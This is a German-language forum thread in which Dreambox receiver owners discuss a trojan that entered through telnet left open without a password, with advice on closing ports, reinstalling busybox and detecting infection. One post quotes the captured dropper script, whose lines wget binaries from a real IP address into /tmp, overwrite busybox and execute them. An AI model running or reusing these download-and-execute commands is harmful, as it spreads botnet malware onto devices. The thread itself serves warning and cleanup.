Hast du dir das angesehen, was da runtergeladen wird bzw. was der trojaner genau macht?. Scheinbar wird da die busybox um 5 Befehle "erweitert" und nach nach dem download findet man nichts mehr davon - weil in der busybox "versteckt". Übel ...

klingt nach botnetz, kann man irgendwie die befehle einsehen?

\\edit

gelöscht

Fred hab ich dies richtig verstanden wenn man in der Konsole w.sh eingibt, sollten die Sachen die du im Code gepostet hast aufgelistet werden im Fall eines Trojaners auf der Dreambox?

nein, das w.sh script ist nicht auf der Box

so wie @deepblue2000 das beschreibt sucht da jemand (wohl per script) u.a. offene 23 ports (telnet) im Netz
Wenn kein Passwortschutz vorhanden ist, wird per telnet verbunden und das w.sh script aus dem netz gesaugt und ausgeführt

d..h. heisst vor allem NICHT port 23 (Telnet) auf der Box extern freigeben (portforwarding) - da können schon die paar Minuten nach dem Flashen bis zur Passwortvergabe reichen, dass sich das einnistet ...

Am besten von extern nur Zugriff auf die Box per ssh (Tunnel) oder VPN zulassen - oder besser ganz die Finger davon lassen, wenn man nicht weiß, was man tut. Das ist wieder mal ein Beispiel, wie schnell sowas gehen kann

Die Portweiterleitung im Router wird doch durch das Flashen der Box nicht beeinflusst. Sobald die Box nach dem Flashen wieder die interne IP hat auf die der Port geleitet wird, kann es schon zu spät sein.

Angenommen du hast port 23 extern freigegeben - solange ein Passwort vergeben ist, kommt man auch nur mit diesem Passwort rein (was auch kein richtiger Schutz ist, weil unverschlüsselt)

Wenn du dann aber neu flasht, ist die Box solange ohne Passwortschutz, bis du per telnet/SSH/Plugin etc. ein Passwort auf der Box vergibst, da das Image per default ohne Passwort ausgeliefert wird. Solange also kein Passwort vergeben ist, steht die Box ungeschützt im Netz, wenn port 23 extern freigegeben ist

Im geschilderten Fall von @deepblue2000 ist scheinbar genau dieses worst case Szenario passiert, auch wenn die Box gerade mal 10 Minuten ohne Passwort war.

ergo:
nur passwortgeschützte Ports wie ssh extern freigeben. Solange kein Passwort gesetzt ist, kommt man per ssh nicht auf die Box. dropbear verlangt zwingend ein Passwort. Kannst ja mal testen. neu flashen, kein passwort vergeben und versuchen per ssh (im interenen Netz) verbinden: wird nicht funktonieren

nein, das ist vielen leider nicht bewusst - die sind oft schon froh, wenn sie von extern zugreifen können - egal wie.

Du hast ja keine Ahnung was die Leute alles ungeschützt im Netz freigeben weil sie es nicht besser wissen (wollen) ...

Wie kann man überprüfen ob man dieses Skript auf der Box hat?
Habe auch sofort mein Passwort auf meiner Box gewechselt.

überprüfen könntest du das über die busybox, aber ich wollte das niciht ausreizen was das alles macht. Auf den ersten Blick sieht das aus, als patcht das script die busybox.

Wenn der Trojaner mal auf der Box ist wird die Passwortänderung nur bedingt helfen. Wenn du auf Nummer sicher gehen willst, neu flashen (portforwarding vorher kurzfristig bis zur Passwortänderung deaktivierenI) oder die busybox neu installieren und rebooten - aber das letzere ohne Gewähr, weil ungetestet

editiert
cd /tmp
opkg update
opkg download busybox
opkg remove --force-depends busybox
opkg install /tmp/busybox*.ipk

dann wird die busybox mit der originalen busybox vom Feed überschrieben

Aber wie gesagt, am Besten erst gar nicht port 23 (telnet), 21 (FTP) und 80 (HTTP) extern freigeben sondern HTTPS, SSH, scp und/oder VPN nutzen

Jeder der eine Fritzbox hat sollte sich VPN einrichten. Das geht mit neuerer Firmware ab 6.0 wirklich einfach, und man kann die VPN übers Handy, Tablet oder PC ohne Probleme benutzen. Und kostenloses Dyndns Äquivalent ist mit myfritz auch standardmäßig mit dabei, man benötigt also keinen dritten Bezahlservice wie dyndns.org. FTP und TELNET kann man heutzutage wirklich nicht mehr über Portforwarding freigeben, wenn dann SFTP oder SSH, was bei der Dreambox standardmäßig nicht drauf ist. Leider. Da sollte evtl. mal ein Umdenken stattfinden, und evtl. diese Services auch deaktiviert sein bevor man ein Password vergeben hat. Auch wenn diese Protokolle vielleicht nur fürs interne Netz gedacht sind, sieht man wie schnell etwas passiert wenn man nicht aufpasst.

Jeder sollte sich selber mal überlegen welche ports man öffnet .Und das fritzbox vpn ist wirklich stabil und schnell eingerichtet.
Gerade bei dem ci+ zeugs heisst es aufgepasst den da wird es viele geben die sich das zu nutze machen wenn leute ohne vorkenntnisse sich irgendwelche apps installieren die automatisch als root ausgeführt werden.

kann man das script von Linuxfachmännern untersuchen lassen, ich bin da überfordert

cd /tmp;rm -rf *;wget 176.123.7.193/dskljn;cat dskljn >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget 176.123.7.193/kjdnc;cat kjdnc >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget 176.123.7.193/sdokdljn;cat sdokdljn >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget 176.123.7.193/sdalk;cat sdalk >busybox;chmod 777 busybox;./busybox
cd /tmp;rm -rf *;wget 176.123.7.193/akddx;cat akddx >busybox;chmod 777 busybox;./busybox
cd /tmp; busybox wget 176.123.7.193/dskljn; chmod +x dskljn; ./dskljn; busybox rm -f dskljn*
cd /tmp; busybox wget 176.123.7.193/kjdnc; chmod +x kjdnc; ./kjdnc; busybox rm -f kjdnc*
cd /tmp; busybox wget 176.123.7.193/sdokdljn; chmod +x sdokdljn; ./sdokdljn; busybox rm -f sdokdljn*
cd /tmp; busybox wget 176.123.7.193/sdalk; chmod +x sdalk; ./sdalk; busybox rm -f sdalk*
cd /tmp; busybox wget 176.123.7.193/akddx; chmod +x akddx; ./akddx; busybox rm -f akddx*

dass Script leert /tmp und läd nacheinander dskljn, kjdnc, sdokdljn, sdalk und akddx von der ULR herunter und überschreibt jeweils /tmp/busybox und und führt danach jeweils /tmp/busbox aus, das läuft dann bis zum nächsten reboot
Was die einzelnen binaries genau machen, kann ich nicht sagen - aber sicher nichts Gutes ...

der zuletzt gestartete Prozess könnte so ausgemacht werden

ps -A|grep busybox

wenn da eine Ausgabe kommt, sollten die Alarmglocken klingeln ...

oder

ls -1 /tmp|grep busybox

wenn sich die Datei "busybox" in /tmp finden lässt, wäre auch in Indikator, dass sich das Ding eingenistet hat ...